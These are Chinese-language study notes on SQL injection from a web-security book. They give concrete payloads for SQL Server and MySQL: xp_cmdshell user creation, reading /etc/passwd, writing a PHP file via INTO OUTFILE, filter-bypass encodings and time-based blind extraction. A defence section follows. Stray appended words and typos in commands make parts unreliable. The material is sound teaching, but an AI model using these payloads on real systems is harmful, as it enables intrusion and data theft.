《Web安全深度解析》讀書筆記-原理篇-SQL注入

SQL注入漏洞分類php

分爲:數字型和字符型程序員

數字型注入:在弱類型語言中容易產生該類漏洞,如ASP、PHP。算法

強類型語言中若是試圖將一個字符型轉換爲int型,則會拋出異常,沒法繼續執行,如JAVA、C#等。sql

因此在強類型語言中不多存在數字型注入漏洞。shell

斷定如類型語言的 數字型注入漏洞三步走:數據庫

前提:假設有URL爲HTTP://www.xxser.com/test.php?id=8,能夠猜想其SQL爲select * from table where id=8數組

測試步驟:瀏覽器

一、HTTP://www.xxser.com/test.php?id=8'安全

SQL語句爲HTTP://www.xxser.com/test.php?id=8',這樣的語句確定會出錯,服務器

致使腳本程序沒法從數據庫中獲取正常數據,從而是原來的頁面出現異常。

二、HTTP://www.xxser.com/test.php?id=8 and 1=1

SQL語句爲select * from table where id=8 and 1=1,語句執行正常,返回數據與原始請求無差別。

三、HTTP://www.xxser.com/test.php?id=8 and 1=2

SQL語句變爲select * from table where id=8 and 1=2,語句執行正常,但卻沒法查詢出數據,

由於「1=2」始終爲假。因此返回數據與原始請求有差別。

若是以上三個步驟所有知足,則程序就可能存在SQL注入漏洞。

字符型注入:輸入參數爲字符時,成爲字符型

數字型和字符型的區別在於,數字型不須要單引號閉合,而字符串類型通常要使用單引號來閉合。

數字型例句:select * from table where id=8

字符型例句:select * from table where username='admin'

字符型注入最關鍵的在於如何閉合SQL語句以及註釋掉多餘的代碼。

例如:

當查詢內容爲字符串時,SQL代碼以下:

select * from table where username='admin'

當攻擊者進行SQL注入時,若是過輸入「amdin and 1=1」,則沒法進行注入。

由於「amdin and 1=1」 會被數據庫當作查詢條件字符串來處理,SQL以下:

selec * from table where username = 'admin and 1=1'

這時想要進行注入,則必須注意字符串閉合問題。若是輸入「admin ’and 1=1 --」就能夠繼續注入,SQL以下:

select * from table where username ='admin' and 1=1 --'

只要會字符串類型注入,都必須閉合單引號以及註釋掉多餘的代碼。例如,uodate語句:

update Person set username='username' ,set password='password' where id=1

如今對該語句進行注入,就須要閉合單引號,能夠在username或者password處插入語句爲:

"'+(select @@version)+'",

最終的執行語句爲:

update Person set username='username', set password=''+(select @@version)+ '' where id =1

利用兩次單引號閉合才能完成SQL注入

注:數據庫不一樣,字符串鏈接符也不一樣,

如SQL Server 鏈接符號爲「+」,Oracle鏈接符號爲「||」,Mysql的鏈接符號爲空格

例如Insert語句:

Insert into users (username,password,title) values('username', 'password','titile')

當注入title字段時,能夠像update同樣,直接使用一下SQL語句:

Insert into users (username,password,title) values('username', 'password',''+(select @@version)+'')

SQL注入類型

整體來說仍是分爲兩類,數字型和字符型

注入字段在不一樣的位置,產生一些常見的注入叫法:

POST注入:注入字段在POST數據中

Cookie注入:注入字段在Cookie數據中

延時注入:使用數據庫延時特性注入

搜索注入:注入處爲搜索的地點

base64注入:注入字符串須要通過base64加密

常見的數據庫注入

數據庫:Oracle11g,MySQL5.1,SQL Server 2008

方式:查詢數據,讀寫文件,執行命令

針對數據庫的注入無非都是上面三件事。

5.3.一、SQL Server

一、利用錯誤消息提取信息

SQL Server對錯誤信息的定位十分準確,對開發是好事兒,對攻擊者也是不錯的。

1.1 枚舉當前表和列

在查詢sql中插入以下語句: 'having 1=1--

select * from users where username='root' and password='root' having 1=1 --'

這樣SQL執行器會報錯,選擇列表中的列’users.id‘無效,由於該列沒有包含在聚合函數或group By子句中。

這樣攻擊者能夠利用此特性繼續找到其餘的列明,輸入SQL以下:

select * from users where username='root' and password='root' group by users.id having 1=1 --

1.2 利用類型錯誤提取數據

試圖利用不一樣類型字段之間的比較,使得sql編譯器拋出異常,獲取信息,以下SQL:

select * from users where username='root' and password='root'

and 1 > (select top 1 username from users)

執行器錯誤提示:

在將varchar值’root‘轉換成數據類型int時失敗,這樣就暴露了root這個帳戶,一次遞歸會發現全部的帳戶

select * from users where username='root' and password='root' and

1>(select top 1 username from users where username not in ('root'))

若是不嵌套子查詢,也一樣能夠達到目的,須要用到SQL Server的內置函數CONVERT或者CASE函數,

這兩個函數的功能是:將一種數據類型 轉轉爲另外一種數據類型。

輸入以下SQL語句:

select * from users where username='root' and password='root'

and 1=convert(int ,(select top 1 users.username from users))

若是感受遞歸比較麻煩,能夠經過FOR XML PATH語句將查詢的數據生成XML,SQL語句以下:

select* from users where username='root' and password='root'

AND 1=convert(int, (select stuff((select',' + users.usrename,'|' +

users.password from users for xml path ('')),1,1,'')))

二、獲取元數據

SQL Server提供大量的視圖,便於取得元數據。下面使用information_schema.tables 與

information_schema.columns視圖取得數據庫表以及表的字段。

取得當前數據庫表:

select table_name from infromation_schema.tables

取得表Student表字段:

select columnname from information_schema.columns where table_name='Student'

還有其餘的一些視圖:

sys.databases:SQL Server中全部的數據庫

sys.sql_logins:SQL Server全部登陸名

information_schema.tables:當前用戶數據庫中的表

information_schema.columns:當前用戶數據庫中的列

sys.all_columns:用戶定義對象和系統對象的全部列的聯合

sys.databases_principals:數據庫中每一個權限或列異常權限

sys.databases_files:存儲在數據庫中的數據庫文件

sysobjects:數據庫中建立的每一個對象,例如:約束、日誌 以及存儲過程

三、Orderby子句

爲SELECT查詢的列排序,若是同時指定了TOP關鍵字,Order by子句在視圖、內聯函數、派生表和子查詢中無效。

攻擊者一般會經過注入Order by語句來判斷此表的列數。

SQL語句:

1 、select id,username,password, from users where id=1 -------SQL執行正常

2 、select id,username,password, from users where id=1 Order by 1 ---按照第一列排序,SQL執行正常

三、select id,username,password, from users where id=1 Order by 2 ---按照第二列排序,SQL執行正常

四、select id,username,password, from users where id=1 Order by 3 ---按照第三列排序,SQL執行正常

五、select id,username,password, from users where id=1 Order by 4 ---按照第四列排序,SQL執行異常

錯誤提示:Order by 位置號 4 超出了選擇列表中相熟的範圍

這樣攻擊者得知當前SQL語句有幾列,隨後會配合union關鍵字進行下一步的攻擊

四、Union查詢

union關鍵字將兩個或者更多個查詢結果組合爲單個結果集,俗稱聯合查詢。

使用union合併兩個查詢結果集的基本規則:

一、全部查詢中的列數必須相同

二、數據類型必須兼容

例如,聯合查詢探測字段數

前面介紹的USERS表,查詢ID字段爲1 的用戶,正常的SQL語句

select id ,username,password from users where id=1

使用Union查詢對id字段注入,SQL語句以下:

select id,username,password,sex from users where id=1 union select null

數據庫發生異常,:使用union,intersect或者except運算符合並的全部查詢必須再起目標列中有相同的表達式

遞歸查詢,知道無錯偏差生,可得知User表查詢的字段數

union select null,null

union select null,null,null

也有人喜歡使用select 1,2,3語句,不過該語句容易出現類型不兼容的異常。

例二:聯合查詢敏感信息

上面例子介紹如何獲取字段數,接下來曝光攻擊者如何使用union關鍵字查詢敏感信息,

union查詢能夠在SQL注入中發揮很是大的做用。

得知四列後,可使用一下語句繼續注入:

id=5 union select 'x',null,null,null from stsobject where xtype='U'

若是數據類型不匹配,數據庫會報錯,這是能夠繼續遞歸查詢,知道語句正常執行爲止。

語句執行正常,表明數據類型兼容,就能夠將x替換爲SQL語句,查詢敏感信息。

union和union all 最大的區別在於union會自動去除重複的數據,而且按照默認規則排序。

五、無辜的函數

SQL Server存在一些系統函數,利用系統函數能夠方位SQL Server系統表中的信息。

select suser_name();返回用戶的登錄標識號

select user_name():基於指定的標識號返回數據庫的用戶名

select db_name():返回數據庫名稱

select is_member('db_owener'):是否爲數據庫角色

select convert(int,'5'):數據類型轉換

SQL Server經常使用函數:

stuff:字符串截取函數

ascii:取ASCII碼

char:根據ASCII碼取字符

getdate:返回日期

count:返回卒中的總條數

cast:將一種數據類型的表達式顯示的轉換成另外一種數據類型的表達式

rand:返回隨機值

is_srvrolemember:只是SQL Server登陸名是否爲指定服務器角色的成員

六、危險的存儲過程

存儲過程(Stored Procedure) 是在大型數據庫系統中爲了完成特定功能的一組SQL「函數」。

如執行系統命令,查看註冊表,讀取磁盤目錄等。

攻擊者最常使用的存儲過程是 xp_cmdshell,這個存儲過程容許用戶執行操做系統命令。例如:

http://demo.testfire.net/test.aspx?id=1 存在注入點,那麼攻擊者能夠試試攻擊:

http://demo.testfire.net/test.aspx?id=1;exec xp_cmdshell 'bet user test test /add'

最終執行的SQL語句以下:

select * from table where id=1;exec xp_cmdshell 'bet user test test /add'

攻擊者能夠直接利用xp_cmdshell操做服務器。

注:只有持有control server 權限的用戶才能使用此類存儲過程。

常見的存儲過程:

sp_addlogin:建立新的SQL Server登陸,該登陸容許用戶使用SQL Server身份驗證鏈接到SQL Server實例

sp_dropuser:從當前數據庫中刪除數據庫用戶

xp_enumgroups:提供Windows本地組列表或指定的Windows域中定義的全局組列表

xp_regwrite:違背公佈的存儲過程,寫入註冊表

xp_regread:讀取之策表

xp_regdeletevalue:刪除註冊表

xp_dirtree:讀取目錄

sp_password:更改密碼

xp_servicecontrol:中止或激活某服務

另外,任何一種數據庫在使用一些特殊的函數或者存儲過程時,都須要特定的權限,不然沒法使用。

SQL Server數據庫的以爲與權限以下:

bulkadmin:運行BULK INSERT語句

dbcreator:建立,更改,刪除和還原任何數據庫

diskadmin:管理磁盤文件

processadmin:能夠終止在數據庫引擎中實例中運行的進程

securityadmin:管理登陸名及其屬性。能夠利用grant,deny和revoke服務器級別的權限,

還能夠利用grant,deny,和revoke數據庫級別的權限,還能夠重置SQL Server登陸名的密碼

serveradmin:能夠更改服務器範圍的配置選項和關閉服務器

setupadmin:能夠添加或刪除連接服務器,並能夠執行某些系統存儲過程

sysadmin:角色成員能夠在數據庫引擎中執行任何活動。

默認狀況下Windows BUILTIN\Administrator組的全部成員都是sysadmin固定服務器角色的成員。

七、動態執行

SQL Server支持動態執行語句,用戶能夠經過提交字符串來執行SQL語句,例如:

exec('select username,password from users')

exec('selec'+'t username ,password fro' + 'm users')

因爲大部分Web應用程序防火牆都過濾了單引號,利用exec執行十六進制SQL語句並不存在單引號,

這一特殊性能夠突破不少防火牆及防注入程序,如:

declare @query varchar(888)

select @query=0x73656C6563742031

exec(@query)

或者:

declare /**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

5.3.二、MySQL

數據庫的注入過程基本上是類型,不一樣的是各個數據的一些使用函數或語句有些差別,

如,查看數據庫SQL Server使用函數@@version,而MySQL是version()。

一、MySQL中的註釋

#:註釋從 # 字符到行尾

--:註釋從 --序號到行尾,須要注意的是,使用此註釋時,後面須要跟上一個或者多個空格或tag均可以

/**/:註釋從/*序列到*/序列中間的字符,其中/**/註釋存在一個特色

select id /*!5555, username */ from users

執行結果中發現/**/註釋沒有起到做用,語句正常執行。其實這不是註釋,而是/*!*/,感嘆號是有特殊意義的,

如/*!5555,username*/的意思是

若MySQL的版本號高於或者等於5.55.55,語句將會被執行,若是!後面不加版本號,MySQL將會直接執行SQL語句。

二、獲取元數據

MySQL5.0及其以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA是信息數據庫,

它提供了訪問數據庫元數據的方式。下面介紹若是從中讀取數據庫名稱、表名稱、列名稱。

一、查詢用戶數據庫名稱

select schema_name from information_schema.shemata limit 0,1

--從information_schema.shemata表中查詢第一個數據庫名稱

二、查詢當前數據庫表

select table_name from information_schema.tables where table_schema=(sleect database()) limit 0,1

--查詢當前數據庫表,只顯示第一條數據

三、查詢指定表的全部字段

select column_name from information_schema.columns where table_name='Student' limit 0,1

-- 查詢 table_name爲Student的字段名

三、UNION查詢

MySQL的官方解釋union查詢 用於吧來自許多的select語句的結果組合到一個結果集中,且每列的數據類型必須相同。

MySQL和Oracle不像SQL Server那樣能夠執行多語句,因此在利用查詢是,一般配合union關鍵字。

MySQL和SQL Server中執行:

select id ,username,password from users union select 1,2,3

Oracle中執行:

select id ,username,password from users union select 1,2,3 from dual

執行後,SQL Server和Oracle 報錯,數據類型不匹配,沒法正常執行,MySQL語句正常執行。

由此返現,在Oracle和SQL Server中,列的數據類型在不肯定的狀況下,最好使用NULL關鍵字匹配。

注意:一、UNION 結果集中的列名老是等於第一個 SELECT 語句中的列名

二、UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有類似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同

MySQL的Group by

group by語法能夠根據給定數據列的每一個成員對查詢結果進行分組統計,最終獲得一個分組彙總表

SELECT DEPT, MAX(SALARY) AS MAXIMUM FROM STAFF GROUP BY DEPT

注意:

必須在group子句以前指定where子句,

在SELECT語句中指定的每一個列名也在GROUP BY子句中提到。未在這兩個地方提到的列名將產生錯誤。

在group by子句後使用HAVING子句,HAVING子句可包含一個或多個用AND和OR鏈接的謂詞,

HAVING 子句基本上老是包含彙集函數

如:select uid,email,count(*) as ct from `edm_user081217` GROUP BY email HAVING ct > 1

先用group by 對email進行分組,在用having來過濾大於1的,這樣查找出來的就是重複的記錄了.

WHERE 子句做用於表和視圖,HAVING 子句做用於組。

四、MySQL函數利用

一、load_file()函數讀取文件操做

文件必須在服務器上,文件的路徑必須爲絕對路徑(全路徑),並且用戶必須持有FILE權限,文件容量也必須小於 max_allowed_packet字節(默認16MB,最大1GB)

SQL語句,union select 1, load_file('/etc/password'),3,4,5,6 #

一般,一些防注入語句不容許單引號出現,那麼使用一下語句繞過:

union select 1, load_fille(0x2F6563742F706173737764),3,4,5,6#

0x2F6563742F706173737764爲/etc/password十六進制的轉換結果,或者使用:

union select 1, load_file(char(47,101,99,116,47,112,97,115,115,117,100))),3,4,5,6 #

在SQL注入中,將會常常出現使用函數組合來達到某種目的,例如,在瀏覽器返回數據時,有可能出現亂碼問題,那麼可使用hex()函數將字符串轉換爲十六進制數據:

select hex( load_file(char(47,101,99,116,47,112,97,115,115,117,100)));

二、into outfile寫文件操做

MySQL提供向磁盤寫入文件的操做,與load_file()同樣,必須持有FILE權限,而且文件必須爲全路徑名稱。

select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'

select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'

三、鏈接字符串

在MySQL中若是須要一次性查詢多個數據,可使用concat()或concat_ws()函數

3.一、concat()函數

select name from users where id=1 union select concat(user(),',',database(),',',version());

結果以下:

+*********************************************************+

|name |

+**********************************************************+

| admin |

|xxser |

|root@localhost,mychool,5.1.50-community-log|

+**********************************************************+

能夠發現,如今三個值已經成爲一列,而且以逗號隔開。在concat()函數中的逗號能夠用十六進制表示

concat(user(),0x2c,database(),0x2c,version())

3.二、concat_ws()函數

比concat()函數更簡潔

concat_ws(0x2c,user(),database(),version())

select name from users where id=1 union select concat_ws(0x2c,user(),database(),version());

更多經常使用函數及說明

函數 說明
length 返回字符串長度
substring 截取字符串長度
asscii 返回ASCII碼
hex 把字符串轉換 爲十六進制
now 當前系統時間

 

unhex hex的反向操做
floor(x) 返回不大於x的最大整數值
md5 返回MD5值
group_concat 返回帶有來自一個組的鏈接的非NULL值的字符串結果
@@datadir 讀取數據庫路徑
@@basedir MySQL安裝路徑

 

@@version_complite_os 操做系統
user 用戶名
current_user 當前用戶名
system_user 系統用戶名
database 數據庫名
version MySQL數據庫版本

五、MySQL顯錯式注入

顯錯式注入,即利用數據庫的報錯信息提取消息。

六、寬字節注入

是由編碼不統一形成的,這種注入通常出如今PHP+MySQL中。

七、MySQL長字符截取

在默認狀況下,若是輸入數據超過默認長度,MySQL會將其截斷。

八、延時注入

因爲網站技術的不斷提高,在url中添加什麼語句都不會有變化,只能經過盲注判斷,盲注即頁面無差別的注入。

延時注入屬於盲注的一種,是一種基於時間差別的注入技術,下面以MySQL爲例,主要講一下延時注入

在MySQL中有一個函數:SLEEP(duration),這個函數的意思是在duration參數給定的秒數後運行語句,以下sql:

select * from users where id=1 and sleep(3); /*三秒後執行SQL語句*/

知道了sleep函數能夠延時後,那就可使用這個函數來判斷URL是否存在SQL注入漏洞,步驟以下:

一、http://www.secbug.com/user.jsp?id=1 //頁面返回正常,1秒左右打開界面

二、http://www.secbug.com/user.jsp?id=1 ' //頁面返回正常,1秒左右能夠打開頁面

三、http://www.secbug.com/user.jsp?id=1 ' and 1=1 //頁面返回正常, 1秒左右能夠打開頁面

四、http://www.secbug.com/user.jsp?id=1 and sleep(3) //頁面返回正常,3秒左右能夠打開頁面

經過頁面返回的時間能夠判定,DBMS執行了and sleep(3)語句,這樣一來,就能夠判斷出URL確實存在SQL漏洞。

經過sleep函數能夠判斷出注入點,那麼能讀出數據嗎?

答案是確定能夠的,可是須要與其餘函數配合使用,下面就是經過延時韓式注入讀取當前MySQL用戶的例子。

思路:

一、查詢當前用戶,並取得字符串長度

二、截取字符串的第一個字符,並轉換爲ASCII碼

三、將第一個字讀的ascii碼與ASCII碼錶對比,若是過比對成功則延時3秒

四、繼續步驟2/3,直至字符串截取完畢

對應的SQL語句以下:

一、and if(length(user())=0, sleep(3),1)

循環0,若是出現3秒延遲,就能夠判斷出user字符串長度,注入時一般會採用半折算法減小判斷。

二、and if(hex(mid(user(),1,1))=1, sleep(3),1)

取出user字符串的第一個字符,而後與ASCII碼錶循環對比

三、and if(hex(mid(user(),L,1))=N,sleep(3),1)

遞歸破解第二個ASCII碼,第三四五個ASCII碼

同理,既然經過延時注入能夠讀取數據庫當前MySQL用戶,那麼讀取表、列、文件都是能夠實現的。

注:L是位置表明字符串的第幾個字符,N的位置表明ASCII碼。

SQL Server中的waitfor delay,Oracle中DBMS_LOCK.SLEEP等函數。

5.四、注入工具

SQLMap,pangolin,Havij

5.五、防止SQL注入

SQL注入攻擊的問題最終歸於用戶能夠控制輸入,SQL注入、xss、文件包含、命令執行均可歸於此。

有輸入的地方就可能存在風險。簡單粗暴的方式:

禁止或者過濾掉單引號,問題是外國人的名字中有單引號,數字型注入也不必定會使用單引號

禁止輸入查詢語句,如select,insert,union關鍵字,問題是能夠經過註釋繞過關鍵字,

如sel/**/ect等,對註釋進行分割,且不影響數據庫的正常執行。

5.5.一、嚴格的數據類型

Java和C#等強類型語言基本上能夠徹底忽略數字型注入,例如請求ID爲1的新聞,攻擊者想要注入幾乎不可能

5.5.二、特殊字符轉義

經過增強數據類型校驗能夠解決數字型的SQL注入,字符型卻不能夠,由於他們都是string類型,你沒法判斷輸入是否爲惡意攻擊。

對特殊字符轉義--在數據庫查詢字符串時,任何字符串都須要加上單引號。將這些特殊字符轉義可以有效防護字符型SQL注入。

須要轉義的字符參考OWASP ESAPI

在特殊字符轉義過濾SQL注入時,須要注意「二次注入攻擊」

在第一次注入時,將特殊字符轉義,可是在數據庫中存儲時卻沒有‘\’,在第二次查詢時使用單引號匹配注入,如:

第一次插入數據時,單引號被轉義

insert into message(id,title,content) values(3,'secbug\'','secbug.org')

單引號已經被轉義,這樣注入攻擊就沒法成功,但,secbug\'在插入數據庫後去沒有了"\",語句以下:

+*****+*****************+*********************+

|id | title | content |

+****+*******************+*******************+

|1 | secbug' | secbug.org |

+****+*******************+*******************+

這樣若是有另外一處查詢爲:

select id,title,content from message where title='$title'

那麼正宗攻擊就稱爲二次SQL注入,好比講title改成

‘ union select 1, @@version 3 --

,目前不少開源系統都存在這樣的問題,第一次不會出現漏洞,可是第二次卻出現了SQL注入漏洞。

5.5.3 使用預編譯語句

Java、C#等語言提供了預編譯語句。

Java中提供了三個接口與數據庫交互,Statement,CallableStatement,PreparedStatement.

Statement用於執行靜態SQL語句,並返回它們所生成的結果對象。

PrepareStatement爲Statement子類,表示預編譯SQL語句對象。

CallableStatement爲PrepareStatement的子類,用於執行SQL存儲過程。

雖然PrepareStatement接口是安全的,可是若是使用動態拼接SQL語句,那就會失去它的安全性。

想要使PrepareStatement防護SQL注入,必須使用它提供的setter方法(setShort、setString等)。

5.5.四、框架技術

在衆多框架中,有一類框架專門與數據庫打交道,被稱爲持久層框架,好比Hibernate,MyBatis,JORM。

簡要介紹Hibernate:

Hibernate是一個開源代碼的ORM(對象關係映射)框架,他對JDBC進行很是輕量級的對象封裝,

是的Java程序要能夠爲所欲爲的神勇面向對象思惟操做數據庫。

Hibernate是跨平臺的,幾乎不須要修改SQL語句便可適用於各類數據庫,

它的安全性較高,但也一樣存在注入,這類對象關係映射框架注入也被稱爲ORM注入。

Hibernate自定義的SQL語言叫做HQL,是一種面向對象的查詢語言。

使用此語言時千萬不要使用動態拼接的方式組成SQL語句,不然可能形成SQL注入。

5.5.五、存儲過程(Stored Procedure)

在存儲過程當中直接使用exec執行SQL語句,這和直接寫select* from Student where StudentNo=id 沒有區別,傳入參數3 or 1=1

將查詢出所有數據,形成SQL注入漏洞。例如:

create proc findUserId @id varchar(100)

as

exec('select * from Student where StudentNo= ' +@id);

go

改進爲:

create proc findUserId @id varchar(100)

as

select * from Student where StudentNo=@id

go

參數3 or 1=1,SQL執行器拋出錯誤:

在將varchar值'3 or 1=1'轉換爲數據類型int時失敗。

小結:

SQL注入的危害雖然很大,可是能夠徹底杜絕,陳旭開發團隊必定要有本身的安全規範模板,由於不可能每一個程序員都瞭解SQL注入,因此團隊有一套本身的模板後,SQL注入會大大減小。好比碰到SQL語句徹底採用PrepareStatement類,且必須用參數綁定,若是這樣還存在SQL注入,那就是某個程序員沒有遵循規範,這樣就從安全轉移到代碼規範的問題上,只要遵循規範,不會有問題,這一方法不管是SQL注入,仍是後面的其餘漏洞,都適用。

相關文章
相關標籤/搜索